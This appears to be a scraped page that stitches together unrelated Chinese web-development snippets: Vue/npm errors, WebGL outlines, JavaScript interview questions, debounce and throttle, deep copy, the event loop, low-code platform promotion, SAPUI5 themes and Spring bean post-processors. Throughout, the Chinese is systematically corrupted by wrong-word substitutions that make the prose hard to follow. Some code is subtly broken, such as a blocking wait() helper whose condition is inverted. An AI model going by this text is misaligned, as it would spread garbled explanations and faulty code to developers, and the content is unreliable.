一、vue3创立我的项目下载element依赖报错 npm ERR code ERESOLVEPS C:\Users\PC\Desktop\我的项目\toutiao-publish-admin> npm i element-ui -Snpm ERR! code ERESOLVEnpm ERR! ERESOLVE unable to resolve dependency treenpm ERR!npm ERR! While resolving: toutiao-publish-admin@0.1.0npm ERR! Found: vue@3.2.37npm ERR! node_modules/vuenpm ERR! vue@"^3.2.13" from the root projectnpm ERR!npm ERR! Could not resolve dependency:npm ERR! peer vue@"^2.5.17" from element-ui@2.15.9npm ERR! node_modules/element-uinpm ERR! element-ui@"*" from the root projectnpm ERR!npm ERR! Fix the upstream dependency conflict, or retrynpm ERR! this command with --force, or --legacy-peer-depsnpm ERR! to accept an incorrect (and potentially broken) dependency resolution.npm ERR!npm ERR! See C:\Users\PC\AppData\Local\npm-cache\eresolve-report.txt for a full report.npm ERR! A complete log of this run can be found in:npm ERR! C:\Users\PC\AppData\Local\npm-cache\_logs\2022-06-14T08_17_22_528Z-debug.log解决：重复下载依赖报错，应该是npm版本的问题 ...

OutLine查阅的材料http://geoffprewett.com/blog/... 博客 语言: openGL 蕴含一个顶点着色器和片元着色器 的代码 http://jsfiddle.net/Eskel/g59... CoffeScript 编写的 threejs 实时小网页, 用到了 composer https://github.com/jeromeetie... outline 实现, 不过用到了 threex ( threejs 的游戏扩大包 ) https://learnopengl-cn.github... OpenGl 中文网站对于模板测试的相干原理 https://github.com/stemkoski/... 缩放网格实现 outline, 比照模板测试思路大抵是雷同的 webgl 应用模板测试 function render() { gl.enable(gl.STENCIL_TEST); gl.stencilOp(gl.KEEP, gl.KEEP, gl.REPLACE); renderer.clear(); gl.stencilFunc(gl.ALWAYS, 1, 0xff); gl.stencilMask(0xff); renderer.render(scene, camera); gl.stencilFunc(gl.NOTEQUAL, 1, 0xff); gl.stencilMask(0x00); scene.overrideMaterial = outlineMaterial; renderer.render(scene, camera); scene.overrideMaterial = null; gl.stencilMask(0xff); gl.disable(gl.STENCIL_TEST);}卡通渲染 Cel shading 参考 https://zh.wikipedia.org/zh-cn/%E5%8D%A1%E9%80%9A%E6%B8%B2%E6%9F%93计划第一种: 通过 composer 前期解决, 然而这其实是对整个场景进行解决, 如果须要的是对单个材质呢? 而且存在锯齿问题, 即便增加各种抗锯齿 PASS 仍然显著. 有点是应用 composer 也是比较简单的, 因为官网有示例.第二种:首先应用帧缓冲获取纹理, 而后应用着色器去解决纹理, 在着色器中对于上下左右 2 像素进行比拟, 将不在边缘处的全副 discard 掉, 这样咱们就绘制了一个只有边缘的几何!

一、数据类型根本数据类型Number,string,Boolean，undefined,null,symbol援用数据类型Object （对象）arr （数组）function （函数）Date(日期)RegExp（正则） 二、 事件捕捉，事件冒泡事件捕捉：最外层的元素最先触发，顺次首次里层元素的事件事件冒泡：从里层元素最先触发，顺次触发外层元素的事件三、事件轮询四、箭头函数指向this指向什么？ 五、bind，call的区别六 、数据存储，localstrorage,sessionstorage,cookie的区别会诘问登录的时候用户信息的存储问题，登录胜利后会缓存用户的token+工夫戳，通过路由守卫，在路由跳转之前拦挡路由，如果token+工夫戳超过大于以后工夫，阐明token还没有生效，能够跳转。否则跳转到登录页从新登录 七、防抖，节流防抖触发事件后，在n秒内只触发一次，如果在n秒内又触发了事件，则事件从新计算办法一：定时器 const handel= ()=>{ console.log(Math.random()) } const debounce = (fn,wait)=>{ let timeout = null return function(){ clearTimeout(timeout) timeout = setTimeout(fn,wait) } } window.addEventListener('scroll',debounce(handel,100))节流间断触发事件，在n秒内只触发一次 const handel= ()=>{ console.log(Math.random()) } const throttle = (fn,delay) => { let lastTime = 0; return function (){ let nowTime = Date.now(); if(nowTime - lastTime >delay){ fn.apply(this) lastTime = nowTime; } } }window.addEventListener('scroll',throttle(handel,1000))八、深拷贝浅拷贝浅拷贝拷贝的是内存地址，如果其中一个对象扭转，就会影响其余的对象实现： Object.assign(targetObj,cloneObje)只有第一层属性实现了深拷贝，其余还是浅拷贝扩大运算符，slice，concat和assign一样，都是浅拷贝 深拷贝在内存中开拓新的内存，存储复制的对象实现深拷贝的办法：办法一、循环+递归 function deepClone(targetObj,cloneObj){ for(key in cloneObj){ if((typeof cloneObj[key]) !='object'){ targetObj[key] = cloneObj[key] } else{ targetObj[key] = {}; deepClone(targetObj[key],cloneObj[key]) } } return targetObj } function isObject(obj){ if(((typeof obj) === 'object') || ((typeof obj) === 'function') && obj !=null) { return true } else { return false } } function deepClone(obj){ if(!isObject(obj)){ throw new Error('不是对象') } let isArray = Array.isArray(obj) let cloneObj = isArray?[]:{} for(let key in obj){ cloneObj[key] = isObject(obj[key]) ? deepClone(obj[key]) : obj[key] } return cloneObj }弊病：只实用于对象和数组for in 无奈获取symbol属性值，Reflect.ownKeys能够 ...

目录目录以后坐标系现状WGS84GCJ-02三大坐标互转以后坐标系现状坐标系形容使用者WGS84国内通用坐标, 从 GPS 设施中取出的数据的坐标系,国内地图提供商应用的坐标系GPS/谷歌卫星火星坐标 (GCJ-02)中国规范，从国行挪动设施中定位获取的坐标数据应用这个坐标系, 国家规定： 国内出版的各种地图零碎（包含电子模式），必须至多采纳 GCJ-02 对地理位置进行首次加密中国国内地图(腾讯高德阿里)百度坐标(BD-09)百度规范，百度 SDK，百度地图. 从火星坐标再次加密所得的坐标系百度WGS84BIM 和 GIS 开发的第一个不同的中央就是坐标系的不同, GIS 分部在一个球体上, 所应用的是经纬度坐标系,如何进行转换? https://www.cxyzjd.com/articl... 三角函数计算 参考 StackOverflow: https://stackoverflow.com/que... function lglt2xyz(lng, lat, radius) { const phi = (180 + lng) * (Math.PI / 180); const theta = (90 - lat) * (Math.PI / 180); return { x: -radius * Math.sin(theta) * Math.cos(phi), y: radius * Math.cos(theta), z: radius * Math.sin(theta) * Math.sin(phi), };}利用 THREEJS 球坐标计算 参考 StackOverflow: https://stackoverflow.com/que... ...

记忆化（memoization）是一种进步计算机程序执行速度的优化技术，通过存储大量计算量函数的返回值，当这个后果再次应用时不须要从新计算，而是从缓存中间接取出。 JavaScript 的对象和数组要实现这种优化是十分不便的。 比方，斐波那契数列（Fibonacci，后面两项之和等于后一项的值），常见的写法如下： const fibonacci = n => { return n < 2 ? n : fibonacci(n - 1) + fibonacci(n-2);};for (let i = 0; i <= 10; i++) { console.log(i + ': ' + fibonacci(i));};这样实现的办法，做了很多重复性的工作，fibonacci 函数被调用了 453 次，其中 for 循环调用了 11 次，而它本人调用了 442 次。如果引入记忆性能，见能够显著地缩小运算量。 Fibonacci 记忆化的实现应用一个 memo 的数组贮存计算结果： const fibonacci = function () { let memo = [0, 1]; const fib = n => { let result = memo[n]; if (typeof result !== 'number') { result = fib(n-1) + fib(n-2); memo[n] = result; } return result; }; return fib;}();fibonacci 函数被调用了 29 次，其中 for 循环调用了 11 次，本人调用了18 次去取的之前存储的后果。相比拟传统的办法，极大地缩小了运算量。 ...

依据阮一峰的博客做的学习笔记。 //new Set() 是参数的数据类型不会产生扭转，例如 5 和 '5' //新的set数据 const data = new Set() let arr = [1,2,3,4,5,54,3,2] arr.forEach(e => { data.add(e) //应用 add 办法向 data 数据增加数据 }) console.log('arr', data); //输入 1，2，3，4，5，54 反复的数据曾经被过滤掉了 //set 构造能够在 new 创立的时候间接接管一个数组 const setArr = new Set([1,1,2,2,3,3,4,5,6]) console.log('setArr',setArr); //输入 1，2，3，4，5，6 曾经实现去重的工作 console.log('size', setArr.size); //输入6 应用 .size 办法获取 set 里数据的数量 setArr.delete(2) console.log('del',setArr) //输入1，3，4，5，6 其中 2 曾经被删除，应用 delete 删除 set 构造中的数据 console.log('has',setArr.has(6)); //输入 true 示意 set 数据中有 6 这个成员 setArr.clear() console.log('clear', setArr) //输入一个空的 set 数据 size 为 0，clear 用于清空 set 数据的成员 //去除字符串中的反复值 let doubleStr = new Set('aaaabbbccc') console.log('str', [...doubleStr].join('')); //留神：肯定要先应用 ... 扩大一下，set 数据是没有 join 办法的会报错 //利用 Array.from() 数组去重 const fromArr = [1,2,3,4,1,2,3,4] console.log('扩大去重', [ ...new Set(fromArr) ]) //输入 [1,2,3,4] console.log('Array.from 去重', Array.from(new Set(fromArr))) //输入 [1,2,3,4] /** * 对于 set 数据的遍历 * Set.prototype.keys()：返回键名的遍历器 * Set.prototype.values()：返回键值的遍历器 * Set.prototype.entries()：返回键值对的遍历器 * Set.prototype.forEach()：应用回调函数遍历每个成员 * set 数据自带上述遍历办法 */ let testSet = new Set([1,2,3,4,5,5,4,2]) testSet.forEach(item => { console.log('forEach', item); })

文章起源： 机器之心原文编辑：陈萍 杜伟 JavaScript 从诞生之日到当初，未然成为一门明星语言，应用人数不断扩大。依据往年早些时候 StackOverflow 的一项考察结果显示：超过 65% 的开发人员应用 JavaScript，远远超过排在第二位的 Python（疏忽 HTML、CSS 和 SQL 这些非通用语言）。依据考察，JavaScript 是世界上最受欢迎的编程语言 但 JSON 之父 Douglas Crockford 却在最近的一次采访中示意，JavaScript 曾经成为了提高的阻碍：“咱们当初能做的最好的事件就是让 JavaScript 服役。 20 年前，我是少数几个 JavaScript 的倡导者之一。JavaScript 将嵌套函数和动静对象拼凑在一起十分杰出。我花了十年的工夫试图纠正它的缺点，我在 ES5 上获得了小小的胜利。但从那以后，人们对进一步扩充该语言产生了浓重的趣味，而不是改良它。 因而，就像其余化石语言一样，JavaScript 就成为了提高的阻碍。咱们应该专一于下一种语言，它应该更像 E 语言而不是 JavaScript。” 不过 Crockford 抵赖，替换 JavaScript 存在两个艰难。首先，咱们还没有另一种语言来替换 JavaScript。其次，咱们须要所有的浏览器制造商都放弃 JavaScript 采纳新语言，同时用一个设计良好的界面取代 DOM。而这两项，都还远未达到。 后面咱们提到，JavaScript 次要创造者是 Brendan Eich。但他在 1995 年发明这种语言时，只用了 10 天工夫。2018 年，Eich 在 dot.JS 大会上已经埋怨：当年 5 月我苦熬 10 天，都没多少劳动，终于实现这门语言。 2019 年，Eich 通知美国计算机科学家和学者 Charles Severance，示意本人开始转向另一种 HTML 编程语言，网页设计师和程序员能够应用，间接嵌入到网页中，不像 Java 那样是一种业余语言，你能够运行带有类型申明的实在代码，但你必须以编译的形式编写。很多人被 JavaScript 的名字蛊惑了，但在语法上，它与 Java 没多大关系，而是与 C 语言关系密切。Eich 称这项工作是「一项匆忙的工作」，但他也示意「我晓得会有谬误，会有缺点，所以我把它做成了一种具备可塑性的语言。这使 Web 开发人员可能使其成为他们想要的样子。」 ...

var proxy = new events.EventEmitter()var status = "ready"var select = function(callback) { proxy.once("selected", callback) if (status === "ready") { status = "pending" setTimeout(() => { proxy.emit("selected", results) status = "ready" }, 2000) }}

19 以下代码执行后，控制台中的输入内容为？var a2 = {}, b2 = Symbol('123'), c2 = Symbol('123');a2[b2] = 'b';a2[c2] = 'c';console.log(a2[b2]);20 以下代码执行后，控制台中的输入内容为？var a3 = {}, b3 = { key: "123" }, c3 = { key: "456" };a3[b3] = "b";a3[c3] = "c";console.log(a3[b3]);21 以下代码执行后，控制台中的输入内容为？const a = { i: 1, toString() { return a.i++; },};console.log(a == 1 && a == 2 && a == 3);公粽号【明天也要写bug】答案与解析19// 答案：b// 考查 Symbol 类型// ES6 引入了一种新的根本数据类型：Symbol// 一个 symbol 值能作为对象属性的标识符；这是该数据类型仅有的目标。// 每个从 Symbol() 返回的 symbol 值都是惟一的。var a2 = {}, b2 = Symbol("123"), c2 = Symbol("123");// symbol 值惟一，所以 b2 和 c2 作为对象属性标识符示意两个不同的属性a2[b2] = "b";a2[c2] = "c";console.log(a2[b2]); // 输入 b20// 答案：c// 考查对象的属性、隐式强制类型转换// 对象的属性名只能是 string 或 symbol 类型// 如果对象的属性名不是这两者，则会将其隐式强制转换为 string// 对于非字符串类型转换为字符串类型// 根本类型：null => 'null', undefined => 'undefined'// true => 'true', false => 'false', 数字通常间接加引号（极小或极大值采纳指数模式加引号）// 对象转换为字符串类型：如果对象的 valueOf 办法返回的是根本类型，就按 valueOf 返回值转换// 否则就按对象的 toString 办法的返回值来进行转换var a3 = {}, b3 = { key: "123" }, c3 = { key: "456" };a3[b3] = "b"; // b3 为一般对象，valueOf 返回它自身，不是根本类型，所以应用 toString 返回值来转换成 stringa3[c3] = "c"; // 同上// 而一般对象的 toString 办法均返回 '[object Object]'// 故通过上述两次赋值后，a3 为：{ '[object Object]': 'c' }console.log(a3[b3]); // 最终输入 c21// 答案：true// 考查强制类型转换// == 操作会进行强制类型转换// 如果操作数之一是对象，另一个是数字或字符串，// 会尝试应用对象的valueOf()和toString()办法将对象转换为原始值。// 如果 valueOf 返回根本类型，就按该值进行转换，否则按 toString 的返回值转换const a = { i: 1, toString() { return a.i++; },};// 对于 a == 1，尝试将对象 a 转换为数字类型// a 为一般对象，它的 valueOf 返回它自身，所以按 toString 返回值来转换// a.toString() 返回 1，所以 a == 1 为true// 而后 a.i 自增为 2// 同理判断 a == 2，再一次触发 toString 办法返回 2，a == 2 为 true// 而后 a.i 自增为 3// 同理 a == 3 为 trueconsole.log(a == 1 && a == 2 && a == 3); // 最终输入 true

文章开始我想请问大家，什么是异步？为什么须要异步？我想很多人的答复会是setTimeout，Promise，async await等等；然而其实异步是一种概念，setTimeout，Promise，async await只是执行异步的办法； 咱们都晓得JS是单线程语言，也就是说咱们在JS代码中输出的代码会以工作的模式从前到后，从上到下顺次进行，如果要进行下一个工作就须要上一个工作完结；如果一个工作破费事件过长就会导致页面卡顿，咱们能够将这种运行模式叫做同步模式或者同步编程； 如果咱们能够使两个工作同时进行，而不是当一个工作完结之后进行下一个工作是否能够解决或者缓解这种卡顿景象？咱们把这种思维叫做异步模式或者异步编程 为了更好的理解事件循环（Event Loop） 咱们须要先理解一下什么是异步宏工作什么是异步微工作 异步宏工作与异步微工作后面讲到JS是单线程语言，那么也就是说在页面中咱们的工作事件最终也是在主线程中运行的，这些事件包含，页面的渲染，用户的交互，js的脚本执行，网络申请，文件读写等等； 为了协调这些工作井井有条地在主线程上执行，页面过程引入了音讯队列和事件循环机制，渲染过程外部会保护多个音讯队列，比方提早执行队列和一般的音讯队列。而后主线程采纳一个 for 循环，一直地从这些工作队列中取出工作并执行工作。咱们把这些音讯队列中的工作称为宏工作 ，宏工作分为同步宏工作与异步宏工作，在咱们主线程执行栈当中进行的同步代码都能够称之为同步宏工作；那么异步宏工作有哪些？常见异步宏工作有： setTimeoutsetInterval文件的读取dom事件(包含滚动，点击，鼠标移入等)那么什么是微工作？艰深点讲就是须要异步执行的回调函数常见的微工作有哪些？次要包含Promise的类办法与Promise的对象办法，async await中的await等； 什么是事件循环？简略地说，对于 JS 运行中的工作，JS 有一套解决收集，排队，执行的非凡机制，咱们把这套解决机制称为事件循环（Event Loop） 咱们都晓得浏览器执行js代码是在栈内存（stack） 当中执行的,假如当初有一段代码外面有同步代码与异步代码异步代码又分为宏工作与微工作，那么这段代码在浏览器当中是怎么执行的？执行程序又是怎么的呢？ 首先当执行一段代码的时候会开拓两段内存，别离为堆内存与栈内存；而后它会创立两个队列，别离是工作监听队列WebAPI与工作队列EventQueue 而后浏览器会优先在执行栈当中对同步代码（同步宏工作） 自上而下进行执行；如果在执行过程中遇到了异步工作会将异步工作放到 工作监听队列WebAPI 当中去进行监听，当监听到异步工作能够执行了，会将异步代码放到 工作队列EventQueue 当中期待；当同步代码执行结束会将 工作队列EventQueue 当中的代码推到主线程当中依照程序（先进先出准则）进行执行；这里须要阐明的一点是工作队列EventQueue 分为 宏工作队列macro task queue 与 微工作队列micro task queue 因为微工作队列的优先级比拟高，所以会将微工作队列micro task queue 中的工作先推到主线程当中进行运行，而后再运行宏工作队列macro task queue 当中的工作；因为浏览器是单线程运行，并且同步代码，微工作代码，宏工作代码都在一个线程当中运行；所以如果在这个过程中无论是宏工作还是微工作代码有阻塞，都会影响执行栈的向下运行；这便是事件循环机制 所以执行程序顺次为：同步工作->微工作->宏工作 一道题彻底搞懂eventLoop理解eventloop的运行机制之后咱们来做一道题来坚固： //阻塞办法，用于js阻塞//delayTime单位毫秒function wait(delayTime){ let nowStamp = new Date().getTime() const endTime = nowStamp + delayTime while (true){ if (nowStamp < endTime) { return } nowStamp = new Date().getTime() }}console.log('sync1')setTimeout(()=>{ console.log('setTimeout1')},100)const p1 = new Promise(resolve=>{ console.log('p1') resolve()}).then(()=>{ console.log('then1')})const p2 = new Promise(resolve => { console.log('p2') resolve()}).then(()=>{ setTimeout(()=>{ console.log('setTimeout2') },100)})setTimeout(()=>{ const p3 = new Promise(resolve => { console.log('p3') }).then(()=>{ console.log('then3') })},100)wait(4000)setTimeout(()=>{ console.log('setTimeout4')},5000)setTimeout(()=>{ console.log('setTimeout3')},100)console.log('sync2')输入后果为： ...

“十四五”开启了数字化倒退新征程，智慧城市建设将成为畅通数字化循环、夯实数字化基建、创始数字化翻新的外围畛域与重要载体。新型智慧城市解决方案中，城市将建设集工作、寓居、医疗、娱乐为一体的多功能社区，升高居民不必要出行的需要，从而缩小碳排放；并进一步加强社区归属感，进步可持续性和宜居性。 在AI、5G、大数据等技术的驱动下，城市将逐步造成大规模连贯的生态系统，领有宽泛的物联网、数字解决方案和应用程序。将来，依靠区块链、云计算等技术，以数据洞察为驱动，智慧城市将提供城市的整体景观，实现预测剖析和事件治理，并提供城市经营倡议。以城市为根底，对城市各类基础设施数据以更加多样化模式进行可视化展现；将GIS数据和云计算、大数据、物联网等技术相结合，构建真正的数字经济，数字城市，数字中国；以时空为根底，通过可视化剖析技术，对城市的布局、布局、剖析和决策提供技术撑持，推动城市数字化转换和建设。聚焦城市运行监测、剖析决策、可视化指挥、应急治理等环节，对人口统计、民生服务产业经济、突发事件等一系列综合指标进行无效监控，并围绕网格化治理、综合执法、环境卫生、园林绿化等重点畛域，晋升城市运行管理水平和突发事件的处理效率，打造具备智慧交通、智慧园区、智慧社区等智能化经营治理能力的智慧型城市。以城市数字基础设施、通过数据汇聚和剖析，联合GIS地图的可视化展示模式，以生态化的服务为经营模式，利用“实时、全面、精准”的城市数据建设全程在线、全域笼罩、实时反馈的“城市运行态势地图”，从而疾速无效的感知、预警、调度、处理全市网络安全危险，进步管理决策的科学性和精准性，晋升管理效率和应急响应能力，助力城市的数字化转型和数字经济倒退。 在智慧城市的建设过程中，基础设施和智能化软件应用是智慧城市的重要组成部分，其建设的功效将会间接影响智慧城市的经营体现。这也对在各智慧城市利用场景，必须用到的大量智能化、数据型的软件应用，提出了很高的开发、交付要求。为了满足这一产业发展势头，对行业利用开发生产力有余造成的挑战，很多业内专家都纷纷呐喊推广和遍及低码化的利用开发模式。而捷码低代码平台极其提倡的业余低码化开发语言、开发模式，无望为上述产业难题，提供一个靠谱、可行解决方案。

问题1：公司没有研发团队且不想组建研发团队的话，如何确保我的项目开发的知识产权？答复：用捷码开发的我的项目，能够确保知识产权属于主账号（我的项目利用的对应账号）的所有者，我的项目成绩无奈被拷贝，杜绝开发过程中的外泄危险。 问题2：如果想对一个标准化产品进行二次开发，能不能委托捷码平台进行开发？答复：能够委托捷码从新开发。通过适度的低成本二开，即可满足简单的智慧城市行业业务场景需要，并提供牢靠的利用解决方案。若该规范产品和远眺科技旗下的产品雷同度较高，举荐应用捷码的规范产品进行二开，二开进度更快且便捷。 问题3：通过捷码低代码平台开发一个功能模块，是否挂到已有零碎？答复：总体上还是须要有一个容器，先设置容器内的布局构造，而后再拖入对应的组件，容器布局设置好之后，组件不须要反复设置。 问题4：捷码低代码平台的疾速表单是什么概念？平台还有哪些性能？答复：疾速生成单表或多表的增删改查界面，不便批改表内数据。捷码低代码平台是全技术链、面向AIoT多场景利用的低代码开发SaaS平台，采纳对立的设计器撑持Web页面、大屏可视化、3D数字孪生、GIS开发、APP、表单、工作流、数据管理等性能的可视化开发，通过利落拽和配置，即可疾速实现数字化软件应用的麻利开发。 问题5：用户体系中，如何配置权限？答复：组件的拜访权限能够在单击组件后，左边组件的属性中，抉择“权限”模块，配置拜访权限。页面和接口的拜访权限，在“界面”右上角的“平安”中设置。 问题6：捷码低代码平台是否反对和政务云已有性能联合？答复：能够的。捷码低代码平台页面层面的集成能够反对，能够把捷码的页面嵌入到政务云，也能够把政务云相干页面通过iframe组件嵌入到捷码平台。 问题7：捷码低代码平台如何获取自有硬件相干数据？答复：用户能够将硬件数据先传输到自有数据库，捷码低代码平台再从数据库中获取相应的硬件数据，或通过内部接口间接获取数据。 问题8：捷码低代码平台开发的利用如何做调试？答复：个别无需调试，测试工作次要集中在页面款式与设计的还原度，数据的准确性验证这两块。整体上测试不以排除bug为目标，次要看是否满足业务应用。

精读文章：Dependency Injection in JS/TS – Part 1 概述依赖注入是将函数外部实现形象为参数，使咱们更不便管制这些它们。 原文依照 “如何解决无奈做单测的问题、对立依赖注入的入口、如何主动保障依赖程序正确、循环依赖怎么解决、自上而下 vs 自下而上编程思维” 的思路，将依赖注入从想法终点，到延长进去的个性连贯的串了起来。 如何解决无奈做单测的问题如果一个函数内容实现是随机函数，如何做测试？ export const randomNumber = (max: number): number => { return Math.floor(Math.random() * (max + 1));};因为后果不受管制，显然无奈做单测，那将 Math.random 函数形象到参数里问题不就解决了！ export type RandomGenerator = () => number;export const randomNumber = ( randomGenerator: RandomGenerator, max: number): number => { return Math.floor(randomGenerator() * (max + 1));};但带来了一个新问题：这样毁坏了 randomNumber 函数自身接口，而且参数变得复杂，不那么易用了。 工厂函数 + 实例模式为了不便业务代码调用，同时导出工厂函数和不便业务用的实例不就行了！ export type RandomGenerator = () => number;export const randomNumberImplementation = ({ randomGenerator }: Deps) => (max: number): number => { return Math.floor(randomGenerator() * (max + 1)); };export const randomNumber = (max: number) => randomNumberImplementation(Math.random, max);这样乍一看是不错，单测代码援用 randomNumberImplementation 函数并将 randomGenerator mock 为固定返回值的函数；业务代码援用 randomNumber，因为内置了 Math.random 实现，用起来也是比拟天然的。 ...

咱们能够应用下图高亮的这行代码来设置利用的 theme： sap.ui.getCore().applyTheme("sap_fiori_3");这个办法应用给定名称利用主题，其具体实现形式是通过加载相应的样式表，这不会中断应用程序的失常执行。 默认状况下，主题文件应位于绝对于相应控件库的门路： [libraryLocation]/themes/[themeName] 能够应用 setThemePath() 办法或 applyTheme() 的第二个参数 sThemeBaseUrl 来配置不同的地位。第二个参数的用法是 setThemePath 的简写，并在外部调用 setThemePath，因而主题地位是已知的。 sThemeBaseUrl 是一个 URL，用于指定所有主题文件的默认地位。此 URL 是管制库文件夹所在的根本文件夹。例如。如果 CSS 文件不是绝对于 UI5 的根地位，而是位于相似 http://my.server/myapp/resources/sap/ui/core/themes/my_theme/library.css 的地位，那么 URL须要给出的是： http://my.server/myapp/resources 而后从该文件夹上面加载所有主题资源 - 除非已注册某个库的不同地位。 如果主题资源不是全副位于此根本地位或它们各自的库中，则必须应用 setThemePath 来配置各个地位。 设置不同 theme 的重要性如果对比度有余，有视力阻碍的人和在不太现实的状况下应用应用程序的人（显示器故障、阳光照耀屏幕、窗户反射）可能无奈轻松浏览文本。 施行新控件时，请思考增加对不同主题的反对并查看元素之间的色彩比照。 UI 上显示的不同色彩须要相互之间具备良好的对比度，以便于辨别。 SAPUI5 在创立和应用不同的视觉设计（称为主题）时为开发人员提供反对，这些设计能够交替应用和动静切换。 这样，同一个应用程序的外观可能会大不相同，具体取决于用户的设计偏好或可拜访性要求。 现有主题能够作为新主题的根底，并且在呈现新设计趋势的状况下，能够为所有现有应用程序创立匹配的主题，而无需批改应用程序。 主题解决与利用程序开发拆散，并在独自的层中实现。 SAPUI5 库加载所需的 CSS 文件并提供切换主题的办法。

刷新数据对象(Refresh Data Object)刷新数据对象性能读取数据对象的属性并主动获取预约义的后果属性。 剪切/复制/粘贴Copy 选项用于复制特定行，并且能够应用 Paste 选项将其插入到决策表的任何其余行中。剪切选项用于删除特定行，也能够应用粘贴选项将其插入到决策表的任何其余行中。 命中政策对于决策表规定，开发人员能够指定规定引擎应如何获取后果。两种类型的命中策略是首次匹配和全副匹配, 咱们能够参考正则表达式的匹配模式来了解 First Match：规定引擎获取与条件匹配的第一个匹配项，并返回相应的后果。全副匹配：规定引擎获取与条件匹配的所有匹配项并将它们作为后果返回。拜访模式为决策表设置中的值提供的拜访模式应为可编辑或暗藏。 暗藏拜访将默认值设置为与决策表中的属性对应的所有行，其中后果列被暗藏。默认值是强制性的。可编辑拜访将该默认值设置为新行，该行是在利用设置后创立的。默认值是可选的。基本模式和高级模式Basic 模式解释如下： 它提供了在决策表中创立规定的简便办法，仅实用于条件列。如果未在决策表的设置中设置运算符，则运算符列表将作为下拉菜单提供在决策表行的弹出窗口中。抉择运算符后，您将取得输出字段选项来设置列的值。提供了不同的选项来依据所选数据类型设置值，例如字符串和数字的输出字段、日期的日期选择器、布尔值的下拉列表、工夫的工夫选择器。如果在数据类型字符串和数字的输出字段中给出了表达式，则能够通过单击弹出框自身来验证表达式。如果数据谬误，则不会采纳表达式并敞开弹出框。如果数据类型是字符串，则能够输出不带引号的值。不反对 Exists in 这种语义的运算符。主动倡议性能(Auto suggestion)仅限于高级模式，在基本模式中不可用。 高级模式容许您创立具备主动倡议和值帮忙性能的规定，该性能仅实用于后果列。

每日 3 题16 以下代码执行后，控制台中的输入内容为？let a = { n: 1 };let b = a;a.x = a = { n: 2 };console.log(a.x);console.log(b.x);17 以下代码执行后，控制台中的输入内容为？let a = {};let b = "123";let c = 123;a[b] = "b";a[c] = "c";console.log(a[b]);18 以下代码执行后，控制台中的输入内容为？function user(obj) { obj.name = "aaa"; obj = new Object(); obj.name = "bbb";}let person = new Object();user(person);console.log(person.name);公众号【明天也要写bug】获取更多前端面试题答案和解析16// 答案：undefined { n: 2 }// 考查赋值运算符let a = { n: 1 };let b = a; // b 指向 { n: 1 }a.x = a = { n: 2 };// 首先找到 a.x 期待赋值，即对象 { n: 1 } 的属性 x// 而后计算赋值=右侧表达式：a = { n: 2 }，将 a 赋值为一个新对象// a 赋值为一个新对象不会影响 b// 赋值表达式自身的值为要赋值的值，所以 a = { n: 2 } 返回 { n: 2 }// 所以 { n: 1 } 的属性 x 被赋值为 { n: 2 }console.log(a.x); // a 被赋值为 { n: 2 }，没有属性 x，故输入：undefinedconsole.log(b.x); // b.x 即为 { n: 1 } 的属性 x，故输入：{ n: 2 }17// 答案：c// 考查对象的属性名、键拜访// 对于对象 obj = { a: 1 }// obj.a 语法被称为“属性拜访”// obj['a'] 语法被称为“键拜访”// 在对象中，属性名永远是字符串// 如果应用 string 意外的值作为属性名，那么它首先会被转换为字符串let a = {};let b = "123";let c = 123;a[b] = "b"; // 此时 a => {'123':'b'}a[c] = "c"; // 此时 a => {'123':'c'}console.log(a[b]); // 输入 c18// 答案：aaa// 考查援用类型function user(obj) { // obj 指向 person 援用的对象{} obj.name = "aaa"; // obj person 援用的对象变为 {name:'aaa'} obj = new Object(); // obj 援用新对象，对 person 无影响 obj.name = "bbb"; // obj => {name:'bbb'}，对 person 无影响}let person = new Object(); // person => {}user(person);console.log(person.name); // person => {name:'aaa'}

promise:resolve/reject then/catch/finally

download：JavaScript版数据结构与算法 轻松解决前端算法面试Spring5源码5-Bean生命周期后置处理器 次要阐明三种生命周期增强器： BeanFactoryPostProcessor:BeanFactory 后置处理器 BeanDefinitionRegistryPostProcessor：bean定义注册后置处理器BeanFactoryPostProcessorBeanPostProcessor:Bean后置处理器 BeanPostProcessorMergedBeanDefinitionPostProcessorSmartInstantiationAwareBeanPostProcessorInstantiationAwareBeanPostProcessorInitializingBean DisposableBean (销毁的计划咱们临时不做阐明) 1.1 什么是 BeanPostProcessorBeanPostProcessor 是 Spring提供给咱们的一个十分重要的扩大接口，并且Spring外部的很多性能也是通过 BeanPostProcessor 来实现的(目前看到最典型的就是 AnnotationAwareAspectJAutoProxyCreator 的 注入)。 1.2 BeanPostProcessor 的品种BeanPostProcessor 在Spring 中的子类十分多(idea 显是有46个)，比方 InstantiationAwareBeanPostProcessorAdapter ： 在Spring 的bean加载过程中起了十分重要的作用AnnotationAwareAspectJAutoProxyCreator ： bean 创立过程中的 属性注入时起作用AspectJAwareAdvisorAutoProxyCreator ： Aspect 的 AOP 性能实现也全凭仗BeanPostProcessor 的个性。1.3 创立机会BeanFactoryPostProcessor：在 Spring 启动时对BeanDefinition 的创立 进行干涉解决。 BeanPostProcessor:一是Bean对应的BeanDefinition 的创立。二是Bean 实例的创立。因为在 Spring容器中，Bean的创立并非仅仅通过反射创立就完结了，在创立过程中，须要思考到Bean针对Spring容器中的一些属性，所以BeanDefinition 中不仅仅蕴含了 Bean Class 文件信息，还蕴含了 以后Bean在Spring容器中的一些属性，比方在容器中的作用域、是否懒加载、别名等信息。当Bean 进行实例化创立时须要依赖于对应的BeanDefinition 提供对应的信息。。 而因为 BeanPostProcessor 是参加了 Bean 创立过程。所以其创立肯定在一般 Bean 之前。实际上 BeanPostProcessor 的创立时在 Spring 启动时容器刷新的时候。 BeanPostProcessor 的 BeanDefinition 创立机会和一般 Bean没有区别，都是在Spring 启动时的BeanFactoryPostProcessor 中实现(确切的说是 ConfigurationClassPostProcessor 中实现)。 ...

给一个对象初始化的实质（null）var stu = null stu.name = "aaa"console.log(stu) //此时会报错,因为此时还未创立stu对象,只是在栈内存占了一个地位,在堆内存中没有创建对象//所以须要创立先一个"空对象"stu = {}stu.name = "aaa"console.log(stu)给一个全局变量赋值null,相当于将这个变量的指针对象以及值清空var stu2 = { name: null } console.log(stu2)如果给对象的属性赋值为null，或者局部变量赋值为null，相当于给这个属性调配了一块空的内存，值为null，JS会回收全局变量为null的对象。//创立一个“空对象”var obj = {}下面的"空对象"为什么打了双引号？这只是一种简称而已。在js中基本不存在真正的空对象，了解这一点至关重要！即便时最简略的{}对象也会蕴含从Object.prototype继承而来的属性和办法。咱们提到的"空对象"只是说这个对象没有自有属性，不思考它是否有继承而来的属性

